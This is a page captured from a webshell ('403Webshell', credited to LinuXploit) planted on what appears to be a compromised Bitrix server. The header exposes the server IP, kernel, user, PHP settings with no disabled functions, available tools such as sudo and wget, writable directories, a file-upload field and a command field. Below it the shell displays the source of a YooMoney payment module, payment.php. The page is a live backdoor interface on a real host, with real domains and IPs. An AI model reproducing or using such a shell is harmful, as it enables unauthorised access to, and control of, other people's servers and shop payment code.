403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/vampirus.yandex/payment/vampirus.yandex/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/vampirus.yandex/payment/vampirus.yandex/payment.php
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();
IncludeModuleLangFile(__FILE__);
if(!CModule::IncludeModule("vampirus.yandex")) return;

$order_id = CSalePaySystemAction::GetParamValue("ORDER_ID");
$sum = CSalePaySystemAction::GetParamValue("SHOULD_PAY");
$payment_status = CSalePaySystemAction::GetParamValue("PAYMENT_STATUS","");
$payment_message = CSalePaySystemAction::GetParamValue("PAYMENT_MESSAGE","");
$arOrder = CSaleOrder::GetByID($order_id);

if  ($payment_status && $payment_status != $arOrder['STATUS_ID']){
	if($payment_message) {
		echo "<div class='vampirus_yandex_payment_message'>".$payment_message."</div>";
	}
} else {
	if (CSalePaySystemAction::GetParamValue("CURRENCY")){
		$sum = number_format(CCurrencyRates::ConvertCurrency($sum,CSalePaySystemAction::GetParamValue("CURRENCY"),'RUB'),2,'.','');
	}
	$app_id = CVampiRUSYandexPayment::GetAppId();
	$wallet = CVampiRUSYandexPayment::GetWallet();
	$domain = (CSalePaySystemAction::GetParamValue("DOMAIN",false))?CSalePaySystemAction::GetParamValue("DOMAIN"):$_SERVER['SERVER_NAME'];
	$domain = str_ireplace(array('http://','https://'),'',rtrim($domain,'/'));
	$path = CVampiRUSYandexPayment::getSchema().$domain.'/bitrix/tools/yandex_result.php';


	$bills = CVampiRUSYandexPayment::getBills($order_id, $sum, 0 /* CSalePaySystemAction::GetParamValue("CARD")*/);
	foreach($bills as $bill) {
		$bill['SUM'] = number_format($bill['SUM'],2,'.','');
		if($bill['PAY']==1){
			echo GetMessage("VAMPIRUS.YANDEX_ORDER_ALREADY_PAY",array('#SUM#'=>$bill['SUM']));
		} else {
			switch(CSalePaySystemAction::GetParamValue("CARD")) {
				case '1': $payment_type = 'AC';break;
				case '2': $payment_type = 'MC';break;
				default: $payment_type = 'PC';
			}
			echo GetMessage("VAMPIRUS.YANDEX_ORDER_PAY_SUM",array('#SUM#'=>$bill['SUM']));
				$rsSites = CSite::GetByID(SITE_ID);
				$arSite = $rsSites->Fetch();
				$domain = (CSalePaySystemAction::GetParamValue("DOMAIN",false))?CSalePaySystemAction::GetParamValue("DOMAIN"):$_SERVER['SERVER_NAME'];
				$domain = str_ireplace(array('http://','https://'),'',rtrim($domain,'/'));
				$order_url = CVampiRUSYandexPayment::getSchema().$domain.'/personal/orders/';
				$order_number = isset($arOrder['ACCOUNT_NUMBER'])?$arOrder['ACCOUNT_NUMBER']:$order_id;
			?>
		<form method="POST" name="yandexapi_form" action="https://yoomoney.ru/quickpay/confirm.xml" target="_blank">
		<input type="hidden" name="receiver" value="<?=$wallet?>">
		<input type="hidden" name="formcomment" value="<?=$arSite['SITE_NAME']?>">
		<input type="hidden" name="short-dest" value="<?=GetMessage("VAMPIRUS.YANDEX_ORDER_PAY");?>">
		<input type="hidden" name="label" value="<?=$bill['BILL_ID']?>">
		<input type="hidden" name="quickpay-form" value="shop">
		<input type="hidden" name="targets" value="<?=GetMessage("VAMPIRUS.YANDEX_ORDER_PAYMENT", array('#ORDER_NUMBER#' => $order_number))?>">
		<input type="hidden" name="sum" value="<?=$bill['SUM']?>" >
		<input type="hidden" name="need-fio" value="false">
		<input type="hidden" name="need-email" value="false" >
		<input type="hidden" name="need-phone" value="false">
		<input type="hidden" name="need-address" value="false">
		<input type="hidden" name="paymentType" value="<?php echo $payment_type;?>">
		<input type="hidden" name="successURL" value="<?php echo $order_url; ?>">
		<input type="submit" class="vampirus_yandex_submit_button" value="<?=GetMessage("VAMPIRUS.YANDEX_PAY");?>" />
		</form>
	<? } ?>
	<br>
<? }
} ?>

Youez - 2016 - github.com/yon3zu
LinuXploit